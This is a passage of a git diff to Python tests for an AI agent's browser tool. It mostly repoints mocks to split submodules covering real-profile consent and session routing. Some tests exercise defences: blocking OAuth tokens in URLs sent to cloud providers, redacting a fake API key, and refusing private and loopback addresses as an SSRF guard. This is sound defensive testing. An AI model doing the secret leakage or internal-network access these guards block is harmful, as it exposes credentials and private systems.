bt_real_profile._real_profile_cdp() assert err is None assert cdp == "http://127.0.0.1:41000" self._reset() @@ -283,17 +286,17 @@ class TestRealProfileCdpLaunch: (tmp_path / "DevToolsActivePort").write_text("41000\n/devtools/browser/x\n") return FakeChrome() - with patch.object(bt, "_use_real_profile", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value="chrome"), \ patch("hermes_cli.browser_connect.snapshot_real_profile", return_value=(str(tmp_path), None)), \ patch("hermes_cli.browser_connect.chromium_executable", return_value="/usr/bin/chrome"), \ patch.object(bt.subprocess, "Popen", side_effect=fake_popen), \ - patch.object(bt, "_agent_browser_get_cdp", + patch.object(bt_real_profile, "_agent_browser_get_cdp", side_effect=[None, "http://127.0.0.1:41000"]), \ - patch.object(bt, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch.object(bt_install, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ patch.object(bt.subprocess, "run", side_effect=fake_run), \ - patch.object(bt, "_is_headed_mode", return_value=False): - bt._real_profile_cdp() + patch.object(bt_cloud, "_is_headed_mode", return_value=False): + bt_real_profile._real_profile_cdp() # The chrome launch itself is headless (no window, no focus steal). assert "--headless=new" in captured["chrome_argv"] # agent-browser attaches, it does not launch. @@ -317,80 +320,73 @@ class TestRealProfileCdpLaunch: (tmp_path / "DevToolsActivePort").write_text("41000\n/devtools/browser/x\n") return FakeChrome() - with patch.object(bt, "_use_real_profile", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value="chrome"), \ patch("hermes_cli.browser_connect.snapshot_real_profile", return_value=(str(tmp_path), None)), \ patch("hermes_cli.browser_connect.chromium_executable", return_value="/usr/bin/chrome"), \ patch.object(bt.subprocess, "Popen", side_effect=fake_popen), \ - patch.object(bt, "_agent_browser_get_cdp", + patch.object(bt_real_profile, "_agent_browser_get_cdp", side_effect=["http://127.0.0.1:5000", "http://127.0.0.1:41000"]), \ - patch.object(bt, "_cdp_http_ready", return_value=True), \ - patch.object(bt, "_cdp_on_data_dir", return_value=False), \ - patch.object(bt, "_agent_browser_close_session", + patch.object(bt_real_profile, "_cdp_http_ready", return_value=True), \ + patch.object(bt_real_profile, "_cdp_on_data_dir", return_value=False), \ + patch.object(bt_real_profile, "_agent_browser_close_session", side_effect=lambda s: closed.__setitem__("n", closed["n"] + 1)), \ - patch.object(bt, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch.object(bt_install, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ patch.object(bt.subprocess, "run", return_value=proc), \ - patch.object(bt, "_is_headed_mode", return_value=False): - cdp, err = bt._real_profile_cdp() + patch.object(bt_cloud, "_is_headed_mode", return_value=False): + cdp, err = bt_real_profile._real_profile_cdp() assert closed["n"] == 1 # stale wrong-dir session was closed assert cdp == "http://127.0.0.1:41000" self._reset() def test_cdp_on_data_dir_matches_devtoolsactiveport(self, tmp_path): - import tools.browser_tool as bt (tmp_path / "DevToolsActivePort").write_text("41000\n/devtools/browser/x\n") - assert bt._cdp_on_data_dir("http://127.0.0.1:41000", str(tmp_path)) - assert not bt._cdp_on_data_dir("http://127.0.0.1:9999", str(tmp_path)) + assert bt_real_profile._cdp_on_data_dir("http://127.0.0.1:41000", str(tmp_path)) + assert not bt_real_profile._cdp_on_data_dir("http://127.0.0.1:9999", str(tmp_path)) class TestConsentConfigRead: """Unmocked config read: _use_real_profile against a real config.yaml.""" def test_consent_read_from_config(self, tmp_path, monkeypatch): - import tools.browser_tool as bt cfg = tmp_path / "config.yaml" cfg.write_text("browser:\n use_real_profile: true\n") with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"use_real_profile": True}}): - assert bt._use_real_profile() is True + assert bt_cloud._use_real_profile() is True def test_consent_default_off(self): - import tools.browser_tool as bt with patch("hermes_cli.config.read_raw_config", return_value={}): - assert bt._use_real_profile() is False + assert bt_cloud._use_real_profile() is False def test_consent_revocation_takes_effect_immediately(self): """No process-lifetime caching: consent is a per-use read.""" - import tools.browser_tool as bt with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"use_real_profile": True}}): - assert bt._use_real_profile() is True + assert bt_cloud._use_real_profile() is True with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"use_real_profile": False}}): - assert bt._use_real_profile() is False + assert bt_cloud._use_real_profile() is False class TestLocalSessionRealProfile: def test_local_session_attaches_to_real_profile_cdp(self): - import tools.browser_tool as bt - with patch.object(bt, "_real_profile_cdp", + with patch.object(bt_real_profile, "_real_profile_cdp", return_value=("http://127.0.0.1:9251", None)), \ - patch.object(bt, "_resolve_cdp_override", side_effect=lambda u: u): - info = bt._create_local_session("t1") + patch.object(bt_cdp, "_resolve_cdp_override", side_effect=lambda u: u): + info = bt_session._create_local_session("t1") assert info["cdp_url"] == "http://127.0.0.1:9251" assert info["features"]["real_profile"] is True assert info["session_name"].startswith("rp_") def test_local_session_fails_closed_on_error(self): - import tools.browser_tool as bt - with patch.object(bt, "_real_profile_cdp", return_value=(None, "no chromium")): + with patch.object(bt_real_profile, "_real_profile_cdp", return_value=(None, "no chromium")): with pytest.raises(RuntimeError, match="no chromium"): - bt._create_local_session("t1") + bt_session._create_local_session("t1") def test_local_session_without_consent_is_throwaway(self): - import tools.browser_tool as bt - with patch.object(bt, "_real_profile_cdp", return_value=(None, None)): - info = bt._create_local_session("t1") + with patch.object(bt_real_profile, "_real_profile_cdp", return_value=(None, None)): + info = bt_session._create_local_session("t1") assert info["cdp_url"] is None assert "real_profile" not in info["features"] assert info["session_name"].startswith("h_") @@ -404,9 +400,9 @@ class TestBrowserExecLocalArg: import tools.browser_use_cli as bu env = self._env() with patch.object(bu, "_real_profile_consented", return_value=True), \ - patch("tools.browser_tool._get_cdp_override_raw", return_value=""), \ - patch("tools.browser_tool._get_cloud_provider", return_value=Mock()), \ - patch("tools.browser_tool._real_profile_cdp", + patch("tools.browser_tool_cdp._get_cdp_override_raw", return_value=""), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=Mock()), \ + patch("tools.browser_tool_real_profile._real_profile_cdp", return_value=("http://127.0.0.1:9251", None)): err = bu._resolve_real_profile_cdp(env, force_local=True) assert err is None @@ -416,8 +412,8 @@ class TestBrowserExecLocalArg: import tools.browser_use_cli as bu env = self._env() with patch.object(bu, "_real_profile_consented", return_value=True), \ - patch("tools.browser_tool._get_cdp_override_raw", return_value=""), \ - patch("tools.browser_tool._get_cloud_provider", return_value=Mock()): + patch("tools.browser_tool_cdp._get_cdp_override_raw", return_value=""), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=Mock()): err = bu._resolve_real_profile_cdp(env, force_local=False) assert err is None assert "BU_CDP_URL" not in env and "BU_CDP_WS" not in env @@ -427,9 +423,9 @@ class TestBrowserExecLocalArg: env = self._env() with patch.object(bu, "_real_profile_consented", return_value=True), \ patch.object(bu, "_read_browser_cfg", return_value={}), \ - patch("tools.browser_tool._get_cdp_override_raw", return_value=""), \ - patch("tools.browser_tool._get_cloud_provider", return_value=None), \ - patch("tools.browser_tool._real_profile_cdp", + patch("tools.browser_tool_cdp._get_cdp_override_raw", return_value=""), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None), \ + patch("tools.browser_tool_real_profile._real_profile_cdp", return_value=("http://127.0.0.1:9251", None)): err = bu._resolve_real_profile_cdp(env, force_local=False) assert err is None @@ -446,8 +442,8 @@ class TestBrowserExecLocalArg: import tools.browser_use_cli as bu env = self._env() with patch.object(bu, "_real_profile_consented", return_value=True), \ - patch("tools.browser_tool._get_cdp_override_raw", return_value=""), \ - patch("tools.browser_tool._real_profile_cdp", + patch("tools.browser_tool_cdp._get_cdp_override_raw", return_value=""), \ + patch("tools.browser_tool_real_profile._real_profile_cdp", return_value=(None, "chrome exited")): err = bu._resolve_real_profile_cdp(env, force_local=True) assert err == "chrome exited" @@ -466,7 +462,7 @@ class TestBrowserExecLocalArg: import tools.browser_use_cli as bu env = self._env() with patch.object(bu, "_real_profile_consented", return_value=True), \ - patch("tools.browser_tool._get_cdp_override_raw", return_value="ws://connect"): + patch("tools.browser_tool_cdp._get_cdp_override_raw", return_value="ws://connect"): err = bu._resolve_real_profile_cdp(env, force_local=True) assert err is None and env == {} @@ -495,19 +491,19 @@ class TestBrowserExecSchemaGating: class TestNavigationRouting: def test_private_url_routing_unchanged(self): import tools.browser_tool as bt - with patch.object(bt, "_get_cdp_override_raw", return_value=""), \ + with patch.object(bt_cdp, "_get_cdp_override_raw", return_value=""), \ patch.object(bt, "_is_camofox_mode", return_value=False), \ - patch.object(bt, "_get_cloud_provider", return_value=Mock()), \ - patch.object(bt, "_auto_local_for_private_urls", return_value=True), \ + patch.object(bt_cloud, "_get_cloud_provider", return_value=Mock()), \ + patch.object(bt_cloud, "_auto_local_for_private_urls", return_value=True), \ patch.object(bt, "_url_is_private", return_value=True): key = bt._navigation_session_key("t1", "http://192.168.1.1/x") assert key == "t1::local" def test_public_url_stays_on_cloud(self): import tools.browser_tool as bt - with patch.object(bt, "_get_cdp_override_raw", return_value=""), \ + with patch.object(bt_cdp, "_get_cdp_override_raw", return_value=""), \ patch.object(bt, "_is_camofox_mode", return_value=False), \ - patch.object(bt, "_get_cloud_provider", return_value=Mock()), \ + patch.object(bt_cloud, "_get_cloud_provider", return_value=Mock()), \ patch.object(bt, "_url_is_private", return_value=False): key = bt._navigation_session_key("t1", "https://example.com") assert key == "t1" @@ -569,11 +565,11 @@ class TestChannelIdentity: import tools.browser_tool as bt import hermes_cli.browser_connect as bc bt._real_profile_cdp_cache.clear() - with patch.object(bt, "_use_real_profile", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value=bc.UNSUPPORTED_CHANNEL), \ patch("hermes_cli.browser_connect.snapshot_real_profile") as snap: - cdp, err = bt._real_profile_cdp() + cdp, err = bt_real_profile._real_profile_cdp() assert cdp is None assert err and "pre-release" in err.lower() snap.assert_not_called() # never even snapshotted a stable profile @@ -690,30 +686,27 @@ class TestReviewBugFixes: # ── Bug 3: private-URL sidecar must NOT carry the real profile ── def test_sidecar_never_uses_real_profile(self): - import tools.browser_tool as bt # Even with consent resolving a real-profile CDP, the sidecar path # (allow_real_profile=False) must return a throwaway session. - with patch.object(bt, "_real_profile_cdp", + with patch.object(bt_real_profile, "_real_profile_cdp", return_value=("http://127.0.0.1:9251", None)): - info = bt._create_local_session("t::local", allow_real_profile=False) + info = bt_session._create_local_session("t::local", allow_real_profile=False) assert info["cdp_url"] is None assert "real_profile" not in info["features"] assert info["session_name"].startswith("h_") def test_sidecar_ignores_real_profile_error(self): """A real-profile resolve failure must not break private-URL routing.""" - import tools.browser_tool as bt - with patch.object(bt, "_real_profile_cdp", + with patch.object(bt_real_profile, "_real_profile_cdp", return_value=(None, "non-chromium default")): - info = bt._create_local_session("t::local", allow_real_profile=False) + info = bt_session._create_local_session("t::local", allow_real_profile=False) assert info["cdp_url"] is None # no raise, throwaway session def test_bare_local_still_uses_real_profile(self): - import tools.browser_tool as bt - with patch.object(bt, "_real_profile_cdp", + with patch.object(bt_real_profile, "_real_profile_cdp", return_value=("http://127.0.0.1:9251", None)), \ - patch.object(bt, "_resolve_cdp_override", side_effect=lambda u: u): - info = bt._create_local_session("t1") # allow_real_profile defaults True + patch.object(bt_cdp, "_resolve_cdp_override", side_effect=lambda u: u): + info = bt_session._create_local_session("t1") # allow_real_profile defaults True assert info["features"].get("real_profile") is True # ── Bug 1: macOS 26 LSHandlers parser ── @@ -752,10 +745,10 @@ class TestReviewBugFixes: def test_lightpanda_engine_fails_actionably(self): import tools.browser_tool as bt bt._real_profile_cdp_cache.clear() - with patch.object(bt, "_use_real_profile", return_value=True), \ - patch.object(bt, "_using_lightpanda_engine", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ + patch.object(bt_lightpanda_fallback, "_using_lightpanda_engine", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium") as det: - cdp, err = bt._real_profile_cdp() + cdp, err = bt_real_profile._real_profile_cdp() assert cdp is None assert err and "lightpanda" in err.lower() and "browser.engine" in err.lower() det.assert_not_called() # guard fires before detection @@ -930,12 +923,11 @@ class TestReviewRound3: assert f"--user-data-dir={ud}" in " ".join(matched[0].info["cmdline"]) def test_consent_off_triggers_cleanup(self, tmp_path, monkeypatch): - import tools.browser_tool as bt called = {"n": 0} - with patch.object(bt, "_use_real_profile", return_value=False), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=False), \ patch("hermes_cli.browser_connect.cleanup_real_profile_snapshots", side_effect=lambda: called.__setitem__("n", called["n"] + 1)): - cdp, err = bt._real_profile_cdp() + cdp, err = bt_real_profile._real_profile_cdp() assert cdp is None and err is None assert called["n"] == 1 @@ -946,15 +938,15 @@ class TestReviewRound3: browser.""" import tools.browser_tool as bt bt._real_profile_cdp_cache.clear() - with patch.object(bt, "_use_real_profile", return_value=True), \ - patch.object(bt, "_using_lightpanda_engine", return_value=False), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ + patch.object(bt_lightpanda_fallback, "_using_lightpanda_engine", return_value=False), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value="chrome"), \ patch("hermes_cli.browser_connect.real_profile_copy_dir", return_value=str(tmp_path)), \ - patch.object(bt, "_agent_browser_get_cdp", return_value="http://127.0.0.1:9251"), \ - patch.object(bt, "_cdp_http_ready", return_value=True), \ - patch.object(bt, "_cdp_on_data_dir", return_value=True), \ + patch.object(bt_real_profile, "_agent_browser_get_cdp", return_value="http://127.0.0.1:9251"), \ + patch.object(bt_real_profile, "_cdp_http_ready", return_value=True), \ + patch.object(bt_real_profile, "_cdp_on_data_dir", return_value=True), \ patch("hermes_cli.browser_connect.snapshot_real_profile") as snap: - cdp, err = bt._real_profile_cdp() + cdp, err = bt_real_profile._real_profile_cdp() assert cdp == "http://127.0.0.1:9251" and err is None snap.assert_not_called() # ← the fix: no overlay while a live browser owns the dir bt._real_profile_cdp_cache.clear() @@ -964,18 +956,18 @@ class TestReviewRound3: import tools.browser_tool as bt bt._real_profile_cdp_cache.clear() proc = Mock(returncode=0, stdout="", stderr="") - with patch.object(bt, "_use_real_profile", return_value=True), \ - patch.object(bt, "_using_lightpanda_engine", return_value=False), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ + patch.object(bt_lightpanda_fallback, "_using_lightpanda_engine", return_value=False), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value="chrome"), \ patch("hermes_cli.browser_connect.real_profile_copy_dir", return_value=str(tmp_path)), \ patch("hermes_cli.browser_connect.snapshot_real_profile", return_value=(str(tmp_path), None)) as snap, \ - patch.object(bt, "_agent_browser_get_cdp", + patch.object(bt_real_profile, "_agent_browser_get_cdp", side_effect=[None, "http://127.0.0.1:9251"]), \ - patch.object(bt, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch.object(bt_install, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ patch.object(bt.subprocess, "run", return_value=proc), \ - patch.object(bt, "_is_headed_mode", return_value=False): - cdp, err = bt._real_profile_cdp() + patch.object(bt_cloud, "_is_headed_mode", return_value=False): + cdp, err = bt_real_profile._real_profile_cdp() assert err is None snap.assert_called_once() bt._real_profile_cdp_cache.clear() diff --git a/tests/tools/test_browser_secret_exfil.py b/tests/tools/test_browser_secret_exfil.py index 0d5efb4274..4857c1df1e 100644 --- a/tests/tools/test_browser_secret_exfil.py +++ b/tests/tools/test_browser_secret_exfil.py @@ -32,9 +32,9 @@ class TestBrowserSecretExfil: """Cloud browser providers must not receive opaque token query params.""" from tools.browser_tool import browser_navigate - with patch("tools.browser_tool._is_local_backend", return_value=False), \ + with patch("tools.browser_tool_cloud._is_local_backend", return_value=False), \ patch("tools.browser_tool._navigation_session_key", return_value="default"), \ - patch("tools.browser_tool._run_browser_command") as mock_run: + patch("tools.browser_tool_session._run_browser_command") as mock_run: result = browser_navigate("https://example.com/callback?token=opaque-oauth-code") parsed = json.loads(result) @@ -48,9 +48,9 @@ class TestBrowserSecretExfil: from tools.browser_tool import browser_navigate mock_result = {"success": True, "data": {"title": "ok", "url": "https://example.com/callback?token=opaque-oauth-code"}} - with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \ - patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \ - patch("tools.browser_tool._is_local_backend", return_value=True): + with patch("tools.browser_tool_session._run_browser_command", return_value=mock_result), \ + patch("tools.browser_tool_session._get_session_info", return_value={"_first_nav": False}), \ + patch("tools.browser_tool_cloud._is_local_backend", return_value=True): result = browser_navigate("https://example.com/callback?token=opaque-oauth-code") parsed = json.loads(result) @@ -62,9 +62,9 @@ class TestBrowserSecretExfil: # Patch the actual browser command — we only care that the secret # check doesn't block a clean URL, not that Chrome starts in CI. mock_result = {"success": True, "data": {"title": "ok", "url": "https://github.com/NousResearch/hermes-agent"}} - with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \ - patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \ - patch("tools.browser_tool._is_local_backend", return_value=True): + with patch("tools.browser_tool_session._run_browser_command", return_value=mock_result), \ + patch("tools.browser_tool_session._get_session_info", return_value={"_first_nav": False}), \ + patch("tools.browser_tool_cloud._is_local_backend", return_value=True): result = browser_navigate("https://github.com/NousResearch/hermes-agent") parsed = json.loads(result) # Should NOT be blocked by secret detection @@ -80,9 +80,9 @@ class TestBrowserSecretExfil: captured["url"] = args[0] return {"success": True, "data": {"title": "ok", "url": args[0]}} - with patch("tools.browser_tool._run_browser_command", side_effect=mock_run), \ - patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \ - patch("tools.browser_tool._is_local_backend", return_value=True): + with patch("tools.browser_tool_session._run_browser_command", side_effect=mock_run), \ + patch("tools.browser_tool_session._get_session_info", return_value={"_first_nav": False}), \ + patch("tools.browser_tool_cloud._is_local_backend", return_value=True): result = browser_navigate("https://wttr.in/Köln") parsed = json.loads(result) @@ -210,7 +210,7 @@ class TestBrowserSnapshotRedaction: def test_stored_snapshot_redacts_secrets(self): """Secrets in a snapshot must be masked in the stored full-text file.""" from pathlib import Path - from tools.browser_tool import _store_full_snapshot + from tools.browser_tool_snapshot import _store_full_snapshot fake_key = "sk-" + "FAKESECRETVALUE1234567890ABCDEF" snapshot_with_secret = ( diff --git a/tests/tools/test_browser_snapshot_ssrf.py b/tests/tools/test_browser_snapshot_ssrf.py index 0b72010a98..7cd4eefb72 100644 --- a/tests/tools/test_browser_snapshot_ssrf.py +++ b/tests/tools/test_browser_snapshot_ssrf.py @@ -12,6 +12,8 @@ import json import pytest from tools import browser_tool +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_session as bt_session def _make_snapshot_result(snapshot="Public page content", refs=None): @@ -46,7 +48,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: """Common patches for snapshot SSRF tests.""" monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: False) monkeypatch.setattr( - browser_tool, + bt_session, "_get_session_info", lambda task_id: { "session_name": f"s_{task_id}", @@ -59,8 +61,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_blocks_private_url_after_eval_navigation(self, monkeypatch): """Snapshot must block when current page URL is private.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) call_count = {"n": 0} @@ -74,7 +76,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "unknown command"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -86,8 +88,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_allows_public_url_after_eval_navigation(self, monkeypatch): """Snapshot must succeed when current page URL is public.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: True) def mock_run_browser_command(task_id, command, args=None, **kwargs): @@ -98,7 +100,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "unknown command"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -107,7 +109,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_skips_check_in_local_backend_mode(self, monkeypatch): """Local backend mode skips SSRF check entirely.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "snapshot": @@ -115,7 +117,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "should not be called"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -125,8 +127,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_skips_check_when_private_urls_allowed(self, monkeypatch): """When allow_private_urls is enabled, SSRF check is skipped.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: True) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "snapshot": @@ -134,7 +136,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "should not be called"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -143,8 +145,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_handles_eval_failure_gracefully(self, monkeypatch): """If URL eval fails, snapshot should still succeed (fail-open).""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "snapshot": @@ -154,7 +156,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -164,8 +166,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_handles_eval_exception(self, monkeypatch): """If URL eval raises an exception, snapshot should succeed.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "snapshot": @@ -175,7 +177,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -183,8 +185,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_blocks_loopback_url(self, monkeypatch): """Loopback URLs (localhost) must be blocked.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) def mock_run_browser_command(task_id, command, args=None, **kwargs): @@ -195,7 +197,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -204,8 +206,8 @@ class TestBrowserSnapshotPrivateNetworkGuard: def test_blocks_private_ip_range(self, monkeypatch): """Private IP ranges (10.x, 172.16.x, 192.168.x) must be blocked.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) for private_ip in ["http://10.0.0.1/api", "http://172.16.0.1/admin", "http://192.168.1.1/config"]: @@ -217,7 +219,7 @@ class TestBrowserSnapshotPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_snapshot(task_id="test")) @@ -259,8 +261,8 @@ class TestBrowserVisionPrivateNetworkGuard: def test_blocks_private_url_after_eval_navigation(self, monkeypatch): """Vision must block when current page URL is private.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) def mock_run_browser_command(task_id, command, args=None, **kwargs): @@ -269,7 +271,7 @@ class TestBrowserVisionPrivateNetworkGuard: return {"success": False, "error": "should not reach screenshot"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result = json.loads(browser_browser_vision(question="what do you see", task_id="test")) @@ -279,8 +281,8 @@ class TestBrowserVisionPrivateNetworkGuard: def test_allows_public_url_after_eval_navigation(self, monkeypatch): """Vision must proceed when current page URL is public.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: True) def mock_run_browser_command(task_id, command, args=None, **kwargs): @@ -291,7 +293,7 @@ class TestBrowserVisionPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) # Screenshot file won't exist — that's fine, function returns error # but the important thing is the guard didn't block it. @@ -305,7 +307,7 @@ class TestBrowserVisionPrivateNetworkGuard: def test_skips_check_in_local_backend_mode(self, monkeypatch): """Local backend mode skips SSRF check entirely.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "screenshot": @@ -313,7 +315,7 @@ class TestBrowserVisionPrivateNetworkGuard: return {"success": False, "error": "should not be called"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result_raw = browser_browser_vision(question="what", task_id="test") @@ -323,8 +325,8 @@ class TestBrowserVisionPrivateNetworkGuard: def test_skips_check_when_private_urls_allowed(self, monkeypatch): """When allow_private_urls is enabled, SSRF check is skipped.""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: True) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "screenshot": @@ -332,7 +334,7 @@ class TestBrowserVisionPrivateNetworkGuard: return {"success": False, "error": "should not be called"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result_raw = browser_browser_vision(question="what", task_id="test") @@ -341,8 +343,8 @@ class TestBrowserVisionPrivateNetworkGuard: def test_handles_eval_failure_gracefully(self, monkeypatch): """If URL eval fails, vision should still proceed (fail-open).""" - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def mock_run_browser_command(task_id, command, args=None, **kwargs): if command == "eval": @@ -352,7 +354,7 @@ class TestBrowserVisionPrivateNetworkGuard: return {"success": False, "error": "unknown"} monkeypatch.setattr( - browser_tool, "_run_browser_command", mock_run_browser_command + bt_session, "_run_browser_command", mock_run_browser_command ) result_raw = browser_browser_vision(question="what", task_id="test") @@ -361,8 +363,8 @@ class TestBrowserVisionPrivateNetworkGuard: def 